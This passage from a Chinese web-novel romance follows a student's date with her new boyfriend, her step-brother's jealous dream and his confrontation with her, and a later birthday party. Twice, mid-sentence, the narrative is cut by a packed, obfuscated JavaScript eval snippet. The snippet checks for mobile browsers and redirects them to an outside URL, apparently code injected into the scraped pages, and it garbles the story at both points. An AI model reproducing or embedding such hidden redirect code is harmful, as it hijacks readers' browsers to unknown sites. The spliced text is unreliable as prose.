下车时,谈祝霄已经等在门口了,手里拎着两杯奶茶,朝她挥了挥手,随后一路小跑过来,将手里其中一个奶茶袋子递给她。 程拾醒接过,掀开袋子瞧了眼上面的标签——零蔗糖。 “谢谢。”她笑着,示意他,“可以帮我拆一下吸管吗?我早上做了新美甲,不太方便。” 谈祝霄的视线掠过她涂着黄色指甲油、镶着钻亮晶晶的指甲,嫩黄色,显得她皮肤很白,食指指根还嵌着枚银戒。他眨了下眼,接过她递来的奶茶杯,指腹擦过她指根的戒指,凉凉的,却又烫得惊人。 他撕开吸管外裹着的塑料包装纸,对准轻轻戳进了奶茶中。 程拾醒接了奶茶,却没收回手,笑意盈盈地捏着吸管往他唇边一怼,看着他没反应过来,下意识饮了一小口,问:“好喝吗?” 他红着耳,低低嗯了下。 她收回吸管,也低头抿了口,点点头:“确实不错。” 他没吭声,余光里是刚从吸管口离开的她的唇,水润的,像果冻。 程拾醒扫过他通红的耳根,眉梢不由一挑。她挺喜欢看他害羞的样子,很有趣,这无疑使得她的心情更好了些,便干脆利落地牵过他的手。 这个动作她做过无数次,不同的天气,不同的地点,对着不同的人。不过每个人的反应都不相同,或是害羞,或是同她一样熟练,或是一声不吭掌心却已冒汗,又或是慢半拍地反应不过来…… 她很喜欢观察这些奇妙的反应,甚至接吻时她也总喜欢睁着眼,瞧着对方紧张到颤抖的睫毛、动情的眉眼,又或者是那股势必要同她比较吻技要她共沉沦的决心。 而谈祝霄俨然是没怎么谈过恋爱的纯情派,牵个手绯意都得上脸。这令她感到很好奇,如果突然亲他一下,会是作何反应? 但是现在时机俨然并不太成熟。 程拾醒哼笑了声,偏过头,看向不远处动物园的牌子,道:“走吧。” - 今天是周六,休息日,程拾醒没回来,说是有个课题需要做。 前段时间工作忙,蒋冬至连加了整整一周的班,回到家还得敲键盘,每天只睡四五个小时,靠咖啡续命。好不容易熬到项目结束,总算空下来。 昨夜下了场雨,空气还是湿润的,眼下出了太阳。深秋的午后,阳光像由金丝线编织成的毛衣,透过窗暖融融落进来。 昨夜雨声太大,蒋冬至睡得不算好,现在本坐在沙发上看书,外头的光晕一晃,倦意涨潮,干脆放下书,躺在沙发上闭上眼睡了一会儿。 可这份“一会儿”并不安稳。 白色的光晕在梦里晃了一圈又一圈,像海浪试探着拂去岸边的砂砾,最后将他整个人席卷而走。 他在梦里醒来,面前是漆黑的夜,是临霞熟悉又陌生的街道,他手里正拎着个蛋糕,大步掠过街道上的霓虹灯。 蒋冬至知道这是梦,但他也知道,这场梦在三年前真实发生过。 三年前,程拾醒的成年生日。 那会儿蒋冬至大学刚毕业,工作还没转正。他念的大学并不算特别优秀,能进只愿意要985研究生的公司,是靠比赛拿的奖,也靠肯吃苦。年纪轻阅历小,在公司里被使唤着做杂活,文件要打印,资料要查,腿要跑,项目也要跟着做,经常加班到晚上九点才能拖着疲惫的身体挤着拥挤的地铁回来。 那天是她的生日,他暗示她说其实他可以请一天假,毕竟那是一个人一辈子就只有一次的大事,但程拾醒摇摇头,说她和范茹画约好了。 晚上九点,他踏出公司的大门,夜风把疲倦的一天吹开了,他想起今天是他那个便宜妹妹的生日,于是先绕路去了趟蛋糕店,是程拾醒最爱的那家,生意总是爆火,小蛋糕需要现场排队,大蛋糕需要提前几天预定。 他拿到了几天前就已下单付了款的蛋糕,担心地铁上过于拥挤,会将蛋糕挤坏,所以打了个车。 可惜打开家门,里头是一片漆黑,门口的的那双粉色拖鞋不见了,而程拾醒的房间房门紧闭,他先是一愣,后知后觉地打开手机,才看见她一小时前发来的消息,同他道晚安。 看来是已经睡了。 蒋冬至敲着键盘,打出生日快乐这四个字,发送后将蛋糕放进了冰箱,洗了个澡,也上了床。 本以为会一觉睡到天亮,未曾想到的是半梦半醒中,房门外忽而传出一声巨响,似乎有什么东西砸在了地上。蒋冬至被这样雷鸣一般突如其来的动静吵醒,揉揉头发,打了个哈欠,翻身下了床,踩着拖鞋打开房门,眼睛一抬,倏地怔住。 墙上挂着的时针指向数字一,木质相框砸在地上,防盗门虚掩着,妆容精致的程拾醒穿着黑色一字肩露腰上衣与牛仔短裤,光着脚迈着直线,神态自如地跟他打招呼:“Hello.” 蒋冬至终于意识到不对劲了,瞥了眼她紧闭的房门,眉头蹙起,觉得荒唐又震惊:“你骗我?” “对啊。”程拾醒身子往他身侧的墙上一靠,歪头看向他,承认得落落大方。 他觉得更荒唐了,差点被气笑。 她还真是诚实。 蒋冬至咬了咬后槽牙,问她:“这么晚回来,去哪了?” “酒吧。”程拾醒的目光直勾勾落在他身上,“你今天很特别。” “……”蒋冬至的眉心简直能夹死一只苍蝇了。 虽说零点已过,但他还没来得及当面跟她说过一句生日快乐,没来得及把生日礼物亲手交付与她,买的蛋糕也还在冰箱里未来得及拆封。 他用力又烦躁地抿了下唇,盯着她淡然的脸半晌,深呼出一口气,强压住怒火。 “今天的事我不想计较,你也别在这里跟我油腔滑调。”他松开门把手,擦过她的肩,要往厨房走,“生日愿望许了没?” “许了。” “蛋糕也吃了?” “吃了。” 他止步了,转过身来面对她,“饿不饿?” “不太。”她抱胸,摇摇头,而后又认真地说,“你今天真的很特别。” 这是她第二遍说这句话。蒋冬至想,或许是她良心发现,又或者年长一岁终是长大了,发觉他哥哥当得有多好了。他缓口气,问:“哪里特别?” 她上下嘴皮子一碰,严肃地告诉他:“你有九个头,十八双手,还有十八条腿,请问你是变异版八爪鱼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14129368|149145||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗?” “……” 蒋冬至反应过来了,咬牙切齿地叫她名字:“程拾醒,你去那里究竟喝了多少酒?” 怪不得谎也不圆了,话说得那么理直气壮,走姿、神态一切正常,实际上人已经醉没边了。 他气得不行,嘴唇都在抖:“你一个女孩子,在外面那么晚,喝成这样,万一遇见坏人呢?还是在那种治安都说不好的地方。我理解你可能好奇,但哪怕你要去,起码得让我陪着,万一你出事……” “嘘,别生气。”程拾醒把食指在唇边轻轻一立,眉眼一弯,眼睛里碎了明亮的灯光,“刚才骗你了,其实我还差一个愿望没许呢,我总想许给你听啊,哥哥。” 他凝视着她扬起的唇角、散乱在肩头的长发、触碰到唇瓣的食指指腹。她小时候在他面前总硬着来,后来吃准了他的性子,在他面前装乖,软着嗓子喊他“哥哥”,嘴里讲着动听的话,要他帮她做事,哄他不要生气。 就像现在这样。 其实他该非常生气的,可是她的话一出来,心底郁结的怒意忽而散了。 无一例外。 于是他问:“什么愿望?” 她走近两步,仰着脸,和他缩短了距离,脸侧的发丝粘在了她的鼻尖,他看清她眼尾画长的眼线,像一个小钩子。 “我成年了,慢慢我也会开始工作、赚钱,变得越来越有能力。”她看着他眼睛里自己的倒映,清晰地看见自己脸上点缀的喜悦,“然后我就可以从这里搬出去生活了,你不用再出于责任被迫管我这个便宜妹妹,我也自由了,我们都不用彼此相看两厌了,如果你不想的话我们也可以不再联系。如果你需要的话,那些钱我也都会还给你的。你开心吗,哥哥?” 他像被人泼了一盆冷水,血液慢慢冷却下来,指关节也僵硬,好似被人冰冻,就这样望着她,说不出话。 你开心吗…… 梦里的世界像是突然被拉了灯,变得一片漆黑,他似被人狠狠推了一把,在梦里下坠下坠,有个人在轻轻喊他。 “哥,哥。”那个人又叫了他一声,“哥。” 他轻轻眨了下眼睛,漆黑而扭曲的世界被重塑,演化出另一场梦。 方才那个醉醺醺地说要不再联系的那个人此时正眉眼清醒地站在他面前,脸上挂着淡淡的笑,右手牵着个人,是十指相扣的姿势,很紧。 蒋冬至顺着那双相扣的手,抬着眼往上望去,入目是一张熟悉的脸,姓甚名谁全不知,却偏偏总是出现在她的四周、他的眼前,以极其暧昧的方式。 此刻,那个人脸上挂着和程拾醒如出一辙的淡笑,有什么在他们之间流动,就像是空气在拼命挤压着他们,把他们按在一起,紧密地。 蒋冬至记得陈琪梦来广吴同他与程拾醒聚餐时感慨过一句,说他俩不愧是相处了那么多年的家人。 “明明交流没有很多,但就是和旁人不一样,感觉没有人能从你们之间插进去。” 他坐在沙发上,盯着两个人相握的手。 而现在,他是那个旁人。 “给你介绍一下。”程拾醒说,“这是我男朋友。” 他感觉自己很愤怒,莫名其妙的愤怒,像膨胀的气球、即将炸开的玻璃、呼啸的卷风,但话说出口却很轻,隔了层膜似的,落在耳朵里朦胧到几乎听不清,尽管他已经用尽了全身的力气。 ……凭什么? 他想,凭什么? “我不允许。”他道。 她对他的抗议似乎毫不惊讶,平无波澜,好像完全没当回事。 “那怎么办呢?”她用平缓的语气告诉他,“要不然……我离开?” “你要去哪里?” 程拾醒不语,忽然松开了那个人的手,慢慢靠近了他两步,弯下身子。他们的距离就这样被轻而易举地拉近到不足半尺,发梢落在他的脸上,痒得厉害,像有人在拿羽毛捉弄他。 她直视着他的眼睛,唇角倏地一弯。 “当然是去我男朋友那里。”她轻轻柔柔地开口,“反正,我早就烦透你了,胆小鬼。” 蒋冬至猛地睁开眼,入目是熟悉的家具,被昏暗的光线笼着。他喘着气,手指紧抓着身侧沙发上的柔软抱枕,指尖陷在里头,半晌,他才意识到那是做梦,梦中梦。 手中抱枕真实的触感告诉他这里是现实,她的成人礼早就已经过去了,她也还没有将某个异性带到他的面前。 蒋冬至松开一口气,曲起腿,手朝后捋了把头发,插在发丝间,拧着眉闭着眼平复喘息。 额前的碎发被他捋得凌乱。他伸手在茶几上摸索着手机,打开瞧了眼时间。 17:05 那么晚了。 怪不得,屋子里那么暗。 蒋冬至打开微信,只有订阅号冒着红点,置顶那位一声不吭,连个屁都没有。 他想起那个梦,忽而有些坐不住,难耐的焦躁在心脏处有一下没一下地挠,挠到快要炸掉。 于是他站起身—— 他想去程拾醒学校看看。 20. 20 16:30 深秋之后,天暗沉得越来越早。正是黄昏晚霞时,天际铺开一层淡粉,追着落日,慢慢要跨下地平线。 程拾醒同谈祝霄吃过晚饭,散着步往学校的方向走。 是晚饭的点,路上像他们这样漫步的人不算少,自行车铃混着不知谁的谈笑声,掠了一阵风去,卷过枯黄的叶,穿过食堂散出的饭菜香,与夕阳一起远去。 不远处的草坪聚了一群人,似乎在搞什么活动,喧闹得很,恰巧经过,程拾醒和谈祝霄就顺便弯过去瞧了两眼。 是心理健康游园会,一共五个游戏,每个游戏都有印章,集满印章能换奖励。 程拾醒饶有兴致地在边上看着别人投壶,听见谈祝霄问:“你想参加吗?” 她欣然:“可以啊。” 两个人去领了收集印章的小册子,第一个游戏就是投壶,一共十支箭,投中三支就能拿章。 壶口不算小,距离也不算远,程拾醒站在红线外,第一次玩这种游戏,她有些拿不住力道与角度,瞄了很久投出一支——没中,力道太大了些。 边上的谈祝霄第一支便中了。 第二支,她还是没中,力道又太小了。 谈祝霄瞧着,怕她拿不到章,在旁边小声说:“宝宝,如果不行的话我可以帮你投,我小时候经常玩这个,很准的。” “不用。”程拾醒道。 她舔了下唇瓣,活动了下脖子,膝盖微曲,唇也抿起,眯起眼,明显较了真,重新调整角度。 她从小到大最自豪的除了自律就是她聪明的脑袋,用不着别人帮,两次的失败经验对她来说够了。 瞄准后程拾醒没多纠结,手指一掷,箭脱手而出,划过半道圆弧,稳稳当当落进壶口,发出轻轻一声碰撞声,掩盖在周围人的笑闹声中。 谈祝霄第三、四箭都没中。 而对于程拾醒来说,第三箭不过是个开始。 四周围过来的人在增多,屏气观她投壶。 她学习能力够强,基本上每次都能得点经验,小作调整,后头越来越稳,除了因为美甲比较长没拿稳而失手的第七箭,其余都进了,惹得旁观者惊叹连连,谈祝霄也跟着愣了,箭攥在手中动弹不得,直直看着她投壶。 共投进七箭。 程拾醒唇微不可见挑了下,转过身对向他。玩了一天,她那两股鱼骨辫凌乱了些许,几缕发丝从编织得漂亮的发辫中散出来,垂在脸侧,被余晖勾勒金边,整个人像镀了层光。 她问:“怎么不动了?如果不行的话我可以帮你投,很准的。” 原话奉还。 谈祝霄回过神来,抱着箭慢慢吞吞转回身子,“我可以的。” “没说你不可以。”程拾醒道,“意思是必要的时候,我能当你的后盾,放心投。” 她的情话总是信手拈来,顺口到像曾经说过几万遍。 ……事实上也确实是这样。 两个人照着册子上印着的地图绕了圈,剩下几个游戏都不如投壶难,章拿得轻易。最后一个是自我夸夸比赛,两个人面对面数自己身上的优点,先数满十个的人获胜。 不少人对这关望而却步,小小的舞台四周围绕人群,站在万众瞩目之处,好像哪怕只是吐出一个优点都会令人羞到满脸通红满地找缝。所以这关围观者虽多,但排队的人几乎没有。 站上中间的小型舞台时,程拾醒看出谈祝霄有点局促,歪着脑袋调侃:“尴尬?” “……”谈祝霄道,“嗯。” 主持人在喊倒计时,她语速极快地告诉他:“那作为后盾的我尽量让你少尴尬会儿。” “……三,二,一,开始!” 谈祝霄刚准备开口,就听对面迅速报了一连串:“我漂亮自律聪明大方乐观成绩好会跳舞化妆技术好性格有趣。” 她俨然丝毫不认为当着众人的面夸赞自己是一件羞耻的事,坦荡得不得了。讲完第九个,她顿了下,看着他,眼睛里含着明晃晃的笑意,才不急不慢继续说了下去:“还有,我现在正有个长得很帅的男友。” 她弯唇笑着,身后晚霞艳丽,周围人起哄声不断,谈祝霄陷在人声鼎沸中,却怔住。 她是个蜜罐,这样从容不迫的随口一句就可以让人溃不成兵,轻易落进她编织得如梦似幻的喜欢里。怪不得她的那些前任都不想放手,怪不得一个个丢了面都要挽留。这样一整天的约会,他对此深有体会。 或许下一秒,学校论坛就会更新,讲述今天她向他这位新男友的表白,猜测可能她会就此□□回头稳定下来。 可只有他听出来,她话里加的那些修饰—— 他们的关系,不考虑未来,只存在于现在。 17:00 最后一丝余晖被吞没时,他们集满了所有章。礼品区摆了满满几排,桌下还放置着两个大箱子,里头全是桌上缺货则补上的礼品。 程拾醒低着头,在礼品区挑了圈,最后拿了串琉璃手链,黄色的,与她的美甲正适配。 “你挑好了吗?”她直接将手链戴上,偏头望过去,谈祝霄正垂着睫毛盯着旁边易拉宝海报,眼睛一眨不眨。 顺着他的视线望过去,程拾醒看见海报上的最后一行字——集满章后,也可免费领一张拍立得照片。 “我不想要礼品了。”他开了口,轻轻道,“我想和你一起拍一张拍立得,可以吗?” 程拾醒顿住。 谈祝霄继续说:“我想和你留一张照片,可以吗?” 程拾醒眉眼弯弯,说:“当然可以。” 天已经暗下来了,和拍照的工作人员联系后,找了个有光的位置。闪光灯一亮,程拾醒牵着他的手,笑得灿烂。 一张拍完,她松开手,正欲走过去拿回照片,毛衣袖子被人拽住,扭过头,谈祝霄正看着她。 “你就不想留一张我们的照片吗?” “照片已经拍好了。” 她疑惑地想抽走胳膊,谈祝霄却没松手,“我是说你那里。” 事实上,他们这一天的约会,就没有过一张存在她手机里的合照。 程拾醒停在那里,同他对视。 就在这个对视间,她突然之间,不合时宜地,想起了蒋冬至。 蒋冬至从来都喜欢这样,拽着她不让她走,去问一些稍显压迫性的问题。她不太喜欢这样,如果是恋爱,她可以 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临到宿舍楼下,谈祝霄的步子越来越慢,程拾醒却像是察觉不到他的小心思一般,保持着匀速,到最后他没办法,只好加快了两步赶上她的步子。 就在这一秒,她倏地止步,转过身。 谈祝霄险些撞上,好在及时刹住。 程拾醒仰着脸,眼睛抬着,径直捉住他的视线。 宿舍楼附近的路灯灯光不算明亮,沥青路昏昏暗暗,树影隐隐绰绰,荡在她的脸上,将她的瞳孔颜色染得极深。 他被她这么望着,有点不太自然,刚想问怎么了,蓦地听见她开了口。 “谈祝霄。”程拾醒问,“你想抱我吗?” 他呆了一下,手脚有点僵硬。 程拾醒看着他的反应,啊了声,说她知道了,率先踏出一步,伸手环住他的腰,脸却还是扬着看向他,直勾勾的,叫了他第二声名字:“谈祝霄。” “你想和我接吻吗?” “……” 他说不出话,气都不敢喘了,屏着呼吸,大脑皮层好像都在为之颤抖。 “如果想的话,你只需要闭上眼,然后低头。”程拾醒轻声细语。 他跟着她的指示做,缓慢环上她腰的手指止不住在颤,掌心出了汗。她的腰很细,纤细到似乎张开一只手掌就能托住,弯起一条手臂就能环住,令他不敢施力,只敢轻轻覆在她的衣料上,闭着眼等待着她的降临。 很快,他感觉唇上被什么碰了下,柔软得不像话。 只是一下,程拾醒就推开了他。 她的眼神不像他那样紧张、迷离,而是清明的,弯着眼轻快地说:“你的心脏跳得太快了,所以还是下次见面再教你吧。” 她向来潇洒至极,想留就留想走就走,拍拍衣袖都懒得,说完这句话,也没管仍呆立着抽离不出来的谈祝霄,干脆利落地转过身,头也不回往宿舍门口走。 可她没走两步,整个人便定住了。 几步开外,她的宿舍门边正伫立着一道熟悉的身影,穿着件黑色皮衣外套,正死死盯着她,眸子漆黑,压着团浓重到化不开的雾。 21. 21 几秒之后,蒋冬至向她迈步,他走得很慢,像在抑制什么,在她诧异的视线下,跨越那几步之遥,来到她的面前,低声道:“跟我回家。” 程拾醒下意识回头要去看谈祝霄,视野却猛地被一只手挡住,温热的掌心覆盖在她的眼皮之上,掌跟按着她颧骨的位置,强迫她把头扭回来。 眼前是一片漆黑,听觉与触觉在这一刻发挥到极致,身前人急促的呼吸、掌心的温度……她隐隐察觉,似乎有什么东西正在脱离她的掌控。 “宝宝?”不远处的谈祝霄喊了一声她的名字,似乎有些疑惑。 而蒋冬至的嗓音贴着那句“宝宝”的尾声,顺着风灌入她耳中。 “别看他。”他又重复了遍,多了丝少见的茫然和委屈,“你得跟我回家。” 程拾醒默不作声,只站在那里,似乎没有反抗的意思。 蒋冬至抬起视线,隔着一段距离,遥遥落在谈祝霄身上。灯光昏黄,树影晃动,两束目光在半空中轻轻交汇,无声碰撞,只余风声吹落叶,沙沙作响。 谈祝霄触碰到他的目光,愣住了。 他知道那个站在他女友面前、捂着她眼睛的男性是她的哥哥,先前在商场门口、学校路口,他们也曾见过。 但究竟是什么样的哥哥,会做着这样的举动,拿这样的眼神盯着他? 不是那种自家白菜被拱了的变扭,而是微妙的、烦躁的、充满敌意的,甚至是有点受伤的,额前的碎发垂落的阴影将他的眼睛挡在明暗之间,像阴雨天翻涌着的海域,深不见底,要把人吞没、杀死,最后只吐出骨头来。 蒋冬至只睨了他一眼,便收回目光,遮挡在程拾醒眼睛的手滑下,隔着毛衣攥着她的手臂,不由分说地拉着她走,把她塞进车里。 车门合上,发出“砰”的一声巨响。 他转身进了驾驶位,启动车子。 程拾醒维持着沉默,手肘抵着车窗边缘,手指撑着下巴,扭着头去望窗外极速后掠的风景,窗被打开了一条缝,风顺着缝隙爬进来,去抚摸她的头发。 整个回家的过程,她没开口说过一个字,他也一声不吭。 直至进了家门,她正低头换着鞋,蒋冬至侧过身子,长臂绕过她,握住她身后防盗门的门把手,门在她身后被用力合上,震天响。 他的手还搭在把手上,低着头看她,“没什么想跟我说的?” 她换上了拖鞋,将垂落到胸前的发辫拂到后边。 “我要说什么?”她的语气很平静,和梦里靠在他耳边轻声说“我早就烦透你了”一样平静,“这种事情……有什么好跟你说的吗?” “程拾醒。”他提高了分贝喊她,气息不匀,像恼极了,盯着她咬牙切齿地说,“我有没有跟你说过,别让我操心。” 程拾醒有点不耐地嘶了声,身子往后轻轻一靠,抱起胸,终于撩起睫毛,望向他。 “哥哥,我好像只是谈了个恋爱,你为什么那么生气呢?”她看上去十分不解,神态自若地倚在那里,眼神一如既往的无辜,“我是个成年人,恋爱自由,你情我愿,这算什么让你操心呢?再说了,你有什么资格来管我和谁来往呢?” 他加重了语气:“我是你哥。” 没有血缘关系,还说过“你不是我的家人”这种话的哥哥罢了。 她扯着唇角小幅度笑了声。 “现在可不流行包办恋爱。”她道,“和谁谈、怎么谈,都是我的权利。” 她平静的神色与平缓的语调像一泼冷水,当头浇下。 蒋冬至猛然间从极端的愤怒中清醒过来,对上程拾醒的眼睛。 玄关处的明亮的灯光缀在她清澈的、棕色的瞳孔里,像长了星星。他在她眼底,看到了一个小小的自己,微红的眼尾,起伏的胸膛,脖颈上暴起的青筋。而她的眼睛里却没太多情绪,风轻云淡,风平浪静,将他的气恼彰显得像个笑话。 确实像个笑话,他也不知道自己是怎么了,还来不及想通生气的原因,就已经被情绪控制了大脑,淹没了理智。 真是奇怪。 半晌,他喉头微滚,撇开脸,冷声:“我只是觉得那个男生不是你的良配。” “良配?”她嗤笑一声,觉得荒唐,“谁在乎这个?” 她只在乎现在她开不开心。难道她和谈祝霄还要考虑那捉摸不定的未来不成? 搞笑。 程拾醒拂开他撑在门上的手,旋过身子,绕出他圈着的那片小小的空间。 正欲回房间,她脚下稍一顿,扭过头,提醒:“你今天超速了。” “不过好在那段路上没有摄像头,所以可以当作没有发生过。”她淡淡道,“下次还是注意点吧。” 别再对她发这些莫名其妙的火。 - 晚上洗完澡,谈祝霄给她弹了语音。 程拾醒靠在床头,膝盖曲起,手随意搭在膝头,举着手机,问对面:“怎么不开视频?” “我在宿舍。”谈祝霄用气声告诉她,“我室友要去洗澡了,不太方便。” “这样。”她指尖漫不经心绕着今天集印章拿到的手链,琉璃碰撞,发出细碎的叮当声,声音很清脆,“今天约会,你开心吗?” “开心。”他忙不迭回答完,反问,“你呢?” 程拾醒说:“和你在一起,我当然开心啦。” 对面寂静了几秒,谈祝霄突然问:“那你哥今天……是不开心吗?” 她把玩着手链的动作停住了,缓慢地眨了一下眼睛,良久,嗯了声。 “他……是不是不喜欢我和你在一起?”他犹豫着问出口,听手机里无人回应,小声叫她,“宝宝?” 程拾醒回过神来,解释:“我哥……对我比较敏感。我们家没有长辈,我们两个从小到大都在一起,时间太久,感情也比较好,所以他对我总是不太放心。” 真假参半,谈祝霄也没继续提出疑问,说:“这样啊,怪不得。我以后要对你很好很好,让你哥看到,好让他放心。” “不用。”程拾醒下意识拒绝,“我们之间的事,和他无关。” 后面又聊了会儿,挂断电话前,谈祝霄轻声细语地向她表白,说他超级超级喜欢她,说她今天很漂亮,打扮得漂亮,投壶的时候漂亮,夸自己的时候也漂亮。最后,他说:“我也想成为你的后盾。” 程拾醒柔着嗓子说好啊,后面挂了电话,瞧着微信聊天记录里那时长为半小时的通话记录,哼笑了下,随后指尖在手机侧边一摁,灭了屏幕。 恋爱中说的话当然不可信。 开什么玩笑? 只有她才会是自己的后盾。 - 程拾醒还是决定去剪个头发。 这件事她已经考虑了很久了,想尝试些新造型,但长发已经陪伴她太久了,总是让人割舍不下。 可人总得学会断舍离。 范茹画见着她时眼睛亮了下。 程拾醒将头发染回了黑色,短发一刀切至齐脖位置,薄薄一层直刘海正正好好压过眉却不及眼。她的瞳孔颜色本偏浅,眼下带了个深色美瞳,眉眼显得格外深邃,有股子冷劲儿感。十一月初的天气,棕色大衣内搭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14168405|149145||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一件高领白色毛衣,站在那儿,像从摄影棚里跑出来的模特。 “你真剪啦?”范茹画摸摸她的头发,格外新奇。 说实话,程拾醒刚从理发店出来,还没来得及怎么照镜子就跑出来接范茹画了,闻言将短发挽到耳后,在她面前转了圈,问:“好看吗?” “好看。”范茹画点头如捣蒜,“你现在像那个复仇韩剧里财阀家养出来气势逼人的女主。” 程拾醒被这个形容逗乐了,范茹画说:“你别笑,你一笑就没那味了。” “你当替身文学呢?”程拾醒揽住她的胳膊,调侃,“走了,送你去车站。” 这周范茹画得回临霞参加亲戚的婚礼,此刻正提着个大行李箱。离高铁发车还有两个小时,从广吴大学到高铁站得花上一个小时的路程。 路上,范茹画问她:“我这次回去,你有没有什么要我带的东西?” 程拾醒想了想:“你帮我带份樊记的蝴蝶酥吧,很久没吃了。” “可以啊。”她欣然同意,又问,“话说,你毕业之后是不打算回临霞了吗?” “嗯,我打算留在广吴了。你呢?” “我?我难道不是你在哪我就在哪吗?”范茹画笑,“我不是你的摄影师吗?” “真打算陪我创业啊?” “不然呢?”她想到一个可能,表情瞬间变得严肃起来,“你不会是粉丝多起来了就打算换个专业的了吧?不要啊……我可是陪你白手起家的发妻啊!你说过有你一口饭就有我一口肉的啊!” 真是暗暗加价,得寸进尺。 “……”程拾醒拍拍她,暗自纠正,“不抛弃你的发妻,有我一口饭就分你半口的。” 范茹画用手指装模作样抹了两下眼泪,算是收住了,“对了,你周末是不是要参加乱佩佩的生日派对?” 程拾醒嗯了声,范茹画叮嘱:“那你记得到时候给我发消息。” “我不是每天都在给你发消息吗?” “……” 两个人闲聊了好一会儿,大屏播报出新的高铁车次检票消息,范茹画抬头瞥了眼,站起身:“我要走了。” “拜拜。”她挥挥手。 “拜拜。” 待送走了范茹画,程拾醒在大街上乱逛了好一会儿,路上遇到个粉丝,一眼认出了她,激动到语无伦次,问能不能合照。在得到同意后,拿出手机,露出个灿烂的笑,咔咔了几张,抱着手机兴高采烈地同她道别。 随后,她随意找了家店坐下吃了顿晚饭。 余晖之下,枯黄的梧桐树叶蜷着叶片,飘飘荡荡,像下了场染成夕阳色的雪,在人行道上薄薄覆了一层。 晚餐后,她继续沿着人行道慢吞吞地走,准备徒步回家。 ……她就是故意拖延时间,懒得回去。 蒋冬至最近有点奇怪,在那晚撞见她与谈祝霄接吻之后。 想想也是,撞见自己朝夕相处的妹妹同男友亲密,确实挺尴尬的,他大抵会觉得别扭,又或许是荒谬。 她谈恋爱时总不愿意告诉他,一说他又要各种叽叽歪歪,虽然她认为他大概多多少少也能猜到一点她过去那群掰着指头数不过来的恋爱,但是只要她不说,他也不会明示,只会暗暗点她。 不过这次似乎有点不太一样。大概是因为那晚的画面太过于直截了当、太过于突如其来,于是他反而沉默了下来,对那晚的事只字不提,连带着面对她时也变得疏远了些。 她其实不太在乎他对此是怎么个想法,她只是不太习惯这样古怪的蒋冬至,令她浑身都不自在。 22. 22 程拾醒推开家门,不出预料,里头是一片明亮,蒋冬至在家。 外头挺冷,进了屋后却很暖和。她低头在玄关处换了鞋子,将在小区门口买的柿子搁在了茶几上。 蒋冬至正巧从房间里出来,穿着身柔软的白毛衣与长裤,手里端着个杯子,望见她时一愣,步子顿在原地。 她将大衣脱下,挂在门口的挂衣架上,要进房间,他人却卡在拐弯角的口上,视线低着落在她身上。 “剪头发了?”蒋冬至问着,伸出手熟稔地想要摸她的头发,却在触及她发丝的前一秒滞住,停在半空中,隔了几秒,指尖动了动,蜷起来,最后还是直接落回了身侧。 程拾醒瞥着他的动作,不着痕迹地浅蹙眉,半晌,应了声,抱着胸退开半步。 “我回房间了。”她道,侧着身子穿过他与墙壁间的空隙,转身进了屋。 门被合上,发出轻轻一声砰。 蒋冬至像脱力一般,身子往边上的墙壁一靠,闭了闭眼,懊恼地抬手揉揉太阳穴。 良久,他的手从太阳穴上缓缓滑落,直至到了心脏处,握成拳,轻轻锤了两下。 这么欢,可真够令人烦躁的。 - 乱佩佩的生日派对时间定在周日的下午三点。 当天,程拾醒化了个精致的淡妆。 淡妆是有很多讲究的,色彩虽不浓烈,修容也不重,但细节却复杂。她化完了妆,稍微卷了下头发,挑了顶黑色皮质贝雷帽。在镜子前照了照,确认无误,才踩着皮鞋出了门。 乱佩佩给的定位在别墅区内。她家有钱是众所周知的,以前在平台上晒过家里K歌房的照片,还有各类乐器,大到竖琴钢琴,小到长笛口琴,设备豪华,一应俱全。程拾醒之前刷到她的视频,底下有人科普过她家的那把古筝,宏声挖筝,要几十万。 到了地方,程拾醒按下门铃。没隔多久,防盗门便从里推开。 乱佩佩探出头,看清她时一呆,马上又笑道:“你是拾贝壳吧?” 拾贝壳是程拾醒在红因上的网名,她点头,将手里的礼物一递,“生日快乐。” “谢谢,进来吧。”乱佩佩接过礼物,给她拿了双拖鞋,弯着眼睛望着她的脸,“你本人比网上的照片视频还漂亮哎。” 乱佩佩和网上长得没差,笑起来时酒窝深深,很可爱的类型。今天生日,打扮得格外漂亮,穿着条樱桃红格子长裙,领口用黑色绸带系了个蝴蝶结,编成两根麻花的辫子垂在胸前,用毛茸茸的发圈固定住。 她朝程拾醒伸出手:“我真名叫唐棠,后一个字是海棠花的棠。” “我叫程拾醒。”她握住,礼貌性地颔首。 这场party请的人不多,七八个,基本上都是玩互联网的达人,和乱佩佩都是老熟人。大抵是全场只有她一个人是生人的缘故,怕她融不进气氛,乱佩佩格外顾着她些。 吃过了火锅与蛋糕,许过了愿,一圈人在沙发前的毯子上盘腿坐着围成一圈玩手口不一。 “输了的真心话或大冒险。”乱佩佩将真心话大冒险的卡牌混在一起,打乱顺序后叠叠好摆在最中间,“抽中什么惩罚就是什么惩罚,耍赖的喝酒。” “就……从我这个寿星开始吧。”她挺直了脊背,拍拍手掌两下,伸手比四,“五。” 她身侧就是程拾醒。 “啪啪。” 程拾醒比二:“三。” “啪啪。” “四。”比三。 “啪啪。” “一。”女生伸出一根手指,反应过来时立马又添了根手指,但已然来不及了,乱佩佩眼尖,立马就发现了,叫道:“输了输了!翻牌翻牌!” 